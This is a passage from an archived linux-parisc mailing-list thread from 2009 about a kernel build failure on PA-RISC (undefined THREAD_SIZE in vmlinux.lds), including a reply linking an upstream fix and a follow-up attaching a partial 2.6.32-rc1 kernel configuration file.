         j/aNYZgs9mNOkp5Q4YZgcnfZ8IKnNINhrYvmA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=v2hW2W6xDwZghU+wUMyxl9zAd2dFA1ZU94ltUtTjFpwrr4ZreVew6f7p6CkrK4r076
         MSffrqrUEb9iBdgMBe2LjtGAqvX+l5+dGyIJcJjZ7dU1t/pZm+m8vWjjGUZ19pm0fW5B
         ZIWKEfg0SiCV++TaCVyt6Ims1T/qBZ+pXQRM0=
Original-Received: by 10.204.10.135 with SMTP id p7mr471241bkp.69.1254362741135; Wed, 
	30 Sep 2009 19:05:41 -0700 (PDT)
In-Reply-To: <200910010339.52904.elendil@planet.nl>
X-Google-Sender-Auth: dce21655d871332c
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2221
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2221>

On Wed, Sep 30, 2009 at 9:39 PM, Frans Pop <elendil@planet.nl> wrote:
> arch/parisc/kernel/vmlinux.lds:319: undefined symbol `THREAD_SIZE'
> referenced in expression
> make[5]: *** [.tmp_vmlinux1] Error 1

Fixed upstream?

http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commitdiff;h=f32ed3954c5e365907738b1206e849b6bbe9bcef

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frans Pop <elendil@planet.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vmlinux.lds:319: undefined symbol `THREAD_SIZE'
Date: Thu, 1 Oct 2009 04:24:19 +0200
Lines: 1595
Approved: news@gmane.org
Message-ID: <200910010424.19785.elendil@planet.nl>
References: <200910010339.52904.elendil@planet.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_TLBxKC7epDmAvSf"
X-Trace: ger.gmane.org 1254363873 20988 80.91.229.12 (1 Oct 2009 02:24:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Oct 2009 02:24:33 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 01 04:24:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MtBLF-000701-7n
	for glpp-linux-parisc@lo.gmane.org; Thu, 01 Oct 2009 04:24:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755422AbZJACYT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 30 Sep 2009 22:24:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755456AbZJACYT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 30 Sep 2009 22:24:19 -0400
Original-Received: from cpsmtpm-eml104.kpnxchange.com ([195.121.3.8]:50042 "EHLO
	CPSMTPM-EML104.kpnxchange.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755422AbZJACYS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 30 Sep 2009 22:24:18 -0400
Original-Received: from aragorn.fjphome.nl ([77.166.180.99]) by CPSMTPM-EML104.kpnxchange.com with Microsoft SMTPSVC(7.0.6001.18000);
	 Thu, 1 Oct 2009 04:24:19 +0200
User-Agent: KMail/1.9.9
In-Reply-To: <200910010339.52904.elendil@planet.nl>
X-OriginalArrivalTime: 01 Oct 2009 02:24:20.0085 (UTC) FILETIME=[483D1A50:01CA423E]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2222
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2222>

--Boundary-00=_TLBxKC7epDmAvSf
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Thursday 01 October 2009, Frans Pop wrote:
> v2.6.32-rc1-134-g84d88d5 fails to compile on my hppa box:
> [...]
>   LD      vmlinux.o
>   MODPOST vmlinux.o
>   GEN     .version
>   CHK     include/linux/compile.h
>   UPD     include/linux/compile.h
>   CC      init/version.o
>   LD      init/built-in.o
>   LD      .tmp_vmlinux1
> arch/parisc/kernel/vmlinux.lds:319: undefined symbol `THREAD_SIZE'
> referenced in expression
> make[5]: *** [.tmp_vmlinux1] Error 1
>
> Failure above was with default config, but I've also seen it with my own
> config.

Sorry, it was not a default config after all, so attached the config I 
used.


--Boundary-00=_TLBxKC7epDmAvSf
Content-Type: text/plain;
  charset="iso-8859-1";
  name="config"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
	filename="config"

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.32-rc1
# Thu Oct  1 03:45:23 2009
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_GENERIC_TIME=y
CONFIG_TIME_LOW_RES=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_IRQ_PER_CPU=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_CONSTRUCTORS=y

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_LOCK_KERNEL=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_LOCALVERSION=""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
CONFIG_BSD_PROCESS_ACCT=y
CONFIG_BSD_PROCESS_ACCT_V3=y
# CONFIG_TASKSTATS is not set
CONFIG_AUDIT=y

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
# CONFIG_TREE_PREEMPT_RCU is not set
# CONFIG_RCU_TRACE is not set
CONFIG_RCU_FANOUT=64
# CONFIG_RCU_FANOUT_EXACT is not set
# CONFIG_TREE_RCU_TRACE is not set
CONFIG_IKCONFIG=y
# CONFIG_IKCONFIG_PROC is not set
CONFIG_LOG_BUF_SHIFT=15
# CONFIG_GROUP_SCHED is not set
# CONFIG_CGROUPS is not set
# CONFIG_SYSFS_DEPRECATED_V2 is not set
# CONFIG_RELAY is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_CC_OPTIMIZE_FOR_SIZE=y
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
# CONFIG_EMBEDDED is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
# CONFIG_PERF_EVENTS is not set
# CONFIG_PERF_COUNTERS is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PCI_QUIRKS=y
# CONFIG_COMPAT_BRK is not set
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_SLOB is not set
CONFIG_PROFILING=y
CONFIG_HAVE_OPROFILE=y
CONFIG_USE_GENERIC_SMP_HELPERS=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
# CONFIG_SLOW_WORK is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
CONFIG_MODVERSIONS=y
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
# CONFIG_BLK_DEV_BSG is not set
# CONFIG_BLK_DEV_INTEGRITY is not set
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_AS=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_AS is not set
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
# CONFIG_SPARSEMEM_MANUAL is not set
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
CONFIG_HAVE_MLOCK=y
CONFIG_HAVE_MLOCKED_PAGE_BIT=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_COMPAT=y
CONFIG_NR_CPUS=8

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_EISA_NAMES=y
CONFIG_ISA=y
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
CONFIG_PCI_LEGACY=y
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=m
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_XFRM_USER=m
# CONFIG_XFRM_SUB_POLICY is not set
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
CONFIG_XFRM_IPCOMP=m
CONFIG_NET_KEY=m
# CONFIG_NET_KEY_MIGRATE is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_FIB_HASH=y
CONFIG_IP_PNP=y
# CONFIG_IP_PNP_DHCP is not set
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
CONFIG_NET_IPIP=m
CONFIG_NET_IPGRE=m
CONFIG_NET_IPGRE_BROADCAST=y
CONFIG_IP_MROUTE=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
# CONFIG_ARPD is not set
CONFIG_SYN_COOKIES=y
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
CONFIG_INET_IPCOMP=m
CONFIG_INET_XFRM_TUNNEL=m
CONFIG_INET_TUNNEL=m
CONFIG_INET_XFRM_MODE_TRANSPORT=m
CONFIG_INET_XFRM_MODE_TUNNEL=m
CONFIG_INET_XFRM_MODE_BEET=m
CONFIG_INET_LRO=y
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
CONFIG_TCP_CONG_ADVANCED=y
CONFIG_TCP_CONG_BIC=m
CONFIG_TCP_CONG_CUBIC=y
CONFIG_TCP_CONG_WESTWOOD=m
CONFIG_TCP_CONG_HTCP=m
CONFIG_TCP_CONG_HSTCP=m
CONFIG_TCP_CONG_HYBLA=m
CONFIG_TCP_CONG_VEGAS=m
CONFIG_TCP_CONG_SCALABLE=m
CONFIG_TCP_CONG_LP=m
CONFIG_TCP_CONG_VENO=m
CONFIG_TCP_CONG_YEAH=m
CONFIG_TCP_CONG_ILLINOIS=m
# CONFIG_DEFAULT_BIC is not set
CONFIG_DEFAULT_CUBIC=y
# CONFIG_DEFAULT_HTCP is not set
# CONFIG_DEFAULT_VEGAS is not set
# CONFIG_DEFAULT_WESTWOOD is not set
# CONFIG_DEFAULT_RENO is not set
CONFIG_DEFAULT_TCP_CONG="cubic"
CONFIG_TCP_MD5SIG=y
CONFIG_IPV6=m
CONFIG_IPV6_PRIVACY=y
CONFIG_IPV6_ROUTER_PREF=y
CONFIG_IPV6_ROUTE_INFO=y
CONFIG_IPV6_OPTIMISTIC_DAD=y
CONFIG_INET6_AH=m
CONFIG_INET6_ESP=m
CONFIG_INET6_IPCOMP=m
CONFIG_IPV6_MIP6=m
CONFIG_INET6_XFRM_TUNNEL=m
CONFIG_INET6_TUNNEL=m
CONFIG_INET6_XFRM_MODE_TRANSPORT=m
CONFIG_INET6_XFRM_MODE_TUNNEL=m
CONFIG_INET6_XFRM_MODE_BEET=m
CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION=m
CONFIG_IPV6_SIT=m
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=m
# CONFIG_IPV6_MULTIPLE_TABLES is not set
# CONFIG_IPV6_MROUTE is not set
# CONFIG_NETLABEL is not set
CONFIG_NETWORK_SECMARK=y
# CONFIG_NETFILTER is not set
CONFIG_IP_DCCP=m
CONFIG_INET_DCCP_DIAG=m

#
# DCCP CCIDs Configuration (EXPERIMENTAL)
#
# CONFIG_IP_DCCP_CCID2_DEBUG is not set
CONFIG_IP_DCCP_CCID3=y
# CONFIG_IP_DCCP_CCID3_DEBUG is not set
CONFIG_IP_DCCP_CCID3_RTO=100
CONFIG_IP_DCCP_TFRC_LIB=y

#
# DCCP Kernel Hacking
#
# CONFIG_IP_DCCP_DEBUG is not set
CONFIG_IP_SCTP=m
# CONFIG_SCTP_DBG_MSG is not set
# CONFIG_SCTP_DBG_OBJCNT is not set
# CONFIG_SCTP_HMAC_NONE is not set
# CONFIG_SCTP_HMAC_SHA1 is not set
CONFIG_SCTP_HMAC_MD5=y
# CONFIG_RDS is not set
CONFIG_TIPC=m
CONFIG_TIPC_ADVANCED=y
CONFIG_TIPC_ZONES=3
CONFIG_TIPC_CLUSTERS=1
CONFIG_TIPC_NODES=255
CONFIG_TIPC_SLAVE_NODES=0
CONFIG_TIPC_PORTS=8191
CONFIG_TIPC_LOG=0
# CONFIG_TIPC_DEBUG is not set
# CONFIG_ATM is not set
CONFIG_STP=m
CONFIG_BRIDGE=m
# CONFIG_NET_DSA is not set
CONFIG_VLAN_8021Q=m
# CONFIG_VLAN_8021Q_GVRP is not set
# CONFIG_DECNET is not set
CONFIG_LLC=m
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
CONFIG_NET_SCHED=y

#
# Queueing/Scheduling
#
CONFIG_NET_SCH_CBQ=m
CONFIG_NET_SCH_HTB=m
CONFIG_NET_SCH_HFSC=m
CONFIG_NET_SCH_PRIO=m
# CONFIG_NET_SCH_MULTIQ is not set
CONFIG_NET_SCH_RED=m
CONFIG_NET_SCH_SFQ=m
CONFIG_NET_SCH_TEQL=m
CONFIG_NET_SCH_TBF=m
CONFIG_NET_SCH_GRED=m
CONFIG_NET_SCH_DSMARK=m
CONFIG_NET_SCH_NETEM=m
# CONFIG_NET_SCH_DRR is not set
CONFIG_NET_SCH_INGRESS=m

#
# Classification
#
CONFIG_NET_CLS=y
CONFIG_NET_CLS_BASIC=m
CONFIG_NET_CLS_TCINDEX=m
CONFIG_NET_CLS_ROUTE4=m
CONFIG_NET_CLS_ROUTE=y
CONFIG_NET_CLS_FW=m
CONFIG_NET_CLS_U32=m
CONFIG_CLS_U32_PERF=y
CONFIG_CLS_U32_MARK=y
CONFIG_NET_CLS_RSVP=m
CONFIG_NET_CLS_RSVP6=m
# CONFIG_NET_CLS_FLOW is not set
CONFIG_NET_EMATCH=y
CONFIG_NET_EMATCH_STACK=32
CONFIG_NET_EMATCH_CMP=m
CONFIG_NET_EMATCH_NBYTE=m
CONFIG_NET_EMATCH_U32=m
CONFIG_NET_EMATCH_META=m
CONFIG_NET_EMATCH_TEXT=m
CONFIG_NET_CLS_ACT=y
CONFIG_NET_ACT_POLICE=m
CONFIG_NET_ACT_GACT=m
CONFIG_GACT_PROB=y
CONFIG_NET_ACT_MIRRED=m
CONFIG_NET_ACT_NAT=m
CONFIG_NET_ACT_PEDIT=m
CONFIG_NET_ACT_SIMP=m
# CONFIG_NET_ACT_SKBEDIT is not set
CONFIG_NET_CLS_IND=y
CONFIG_NET_SCH_FIFO=y
# CONFIG_DCB is not set

#
# Network testing
#
CONFIG_NET_PKTGEN=m
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
# CONFIG_DEVTMPFS is not set
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
CONFIG_CONNECTOR=m
# CONFIG_MTD is not set
CONFIG_PARPORT=m
CONFIG_PARPORT_PC=m
CONFIG_PARPORT_SERIAL=m
CONFIG_PARPORT_PC_FIFO=y
# CONFIG_PARPORT_PC_SUPERIO is not set
CONFIG_PARPORT_GSC=m
CONFIG_PARPORT_AX88796=m
CONFIG_PARPORT_1284=y
CONFIG_PARPORT_NOT_PC=y
# CONFIG_PNP is not set
CONFIG_BLK_DEV=y
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=m
CONFIG_BLK_DEV_CRYPTOLOOP=m
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_UB is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=8192
# CONFIG_BLK_DEV_XIP is not set
CONFIG_CDROM_PKTCDVD=m
CONFIG_CDROM_PKTCDVD_BUFFERS=8
# CONFIG_CDROM_PKTCDVD_WCACHE is not set
CONFIG_ATA_OVER_ETH=m
# CONFIG_BLK_DEV_HD is not set
CONFIG_MISC_DEVICES=y
# CONFIG_PHANTOM is not set
CONFIG_SGI_IOC4=m
CONFIG_TIFM_CORE=m
CONFIG_TIFM_7XX1=m
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_CB710_CORE is not set
CONFIG_HAVE_IDE=y
CONFIG_IDE=m

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
CONFIG_IDE_XFER_MODE=y
CONFIG_IDE_ATAPI=y
# CONFIG_BLK_DEV_IDE_SATA is not set
CONFIG_IDE_GD=m
CONFIG_IDE_GD_ATA=y
# CONFIG_IDE_GD_ATAPI is not set
CONFIG_BLK_DEV_IDECD=m
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_IDE_TASK_IOCTL is not set
CONFIG_IDE_PROC_FS=y

#
# IDE chipset support/bugfixes
#
# CONFIG_BLK_DEV_PLATFORM is not set
CONFIG_BLK_DEV_IDEDMA_SFF=y

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
# CONFIG_BLK_DEV_GENERIC is not set
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
# CONFIG_BLK_DEV_PIIX is not set
# CONFIG_BLK_DEV_IT8172 is not set
# CONFIG_BLK_DEV_IT8213 is not set
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=m
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
# CONFIG_BLK_DEV_SIIMAGE is not set
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_BLK_DEV_TC86C001 is not set
CONFIG_BLK_DEV_IDEDMA=y

#
# SCSI device support
#
CONFIG_RAID_ATTRS=m
CONFIG_SCSI=m
CONFIG_SCSI_DMA=y
CONFIG_SCSI_TGT=m
CONFIG_SCSI_NETLINK=y
# CONFIG_SCSI_PROC_FS is not set

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=m
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=m
CONFIG_BLK_DEV_SR_VENDOR=y
CONFIG_CHR_DEV_SG=m
CONFIG_CHR_DEV_SCH=m
CONFIG_SCSI_MULTI_LUN=y
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
CONFIG_SCSI_SCAN_ASYNC=y
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=m
CONFIG_SCSI_FC_ATTRS=m
# CONFIG_SCSI_FC_TGT_ATTRS is not set
CONFIG_SCSI_ISCSI_ATTRS=m
CONFIG_SCSI_SAS_ATTRS=m
CONFIG_SCSI_SAS_LIBSAS=m
CONFIG_SCSI_SAS_HOST_SMP=y
# CONFIG_SCSI_SAS_LIBSAS_DEBUG is not set
CONFIG_SCSI_SRP_ATTRS=m
# CONFIG_SCSI_SRP_TGT_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
CONFIG_SCSI_AIC94XX=m
# CONFIG_AIC94XX_DEBUG is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_LIBFC is not set
# CONFIG_LIBFCOE is not set
# CONFIG_FCOE is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_GENERIC_NCR5380_MMIO is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
# CONFIG_SCSI_NCR53C406A is not set
# CONFIG_SCSI_LASI700 is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=m
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_ZALON is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
CONFIG_SCSI_SRP=m
# CONFIG_SCSI_DH is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
# CONFIG_ATA is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=m
CONFIG_MD_LINEAR=m
CONFIG_MD_RAID0=m
CONFIG_MD_RAID1=m
CONFIG_MD_RAID10=m
CONFIG_MD_RAID456=m
# CONFIG_MULTICORE_RAID456 is not set
CONFIG_MD_RAID6_PQ=m
# CONFIG_ASYNC_RAID6_TEST is not set
CONFIG_MD_MULTIPATH=m
CONFIG_MD_FAULTY=m
CONFIG_BLK_DEV_DM=m
# CONFIG_DM_DEBUG is not set
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
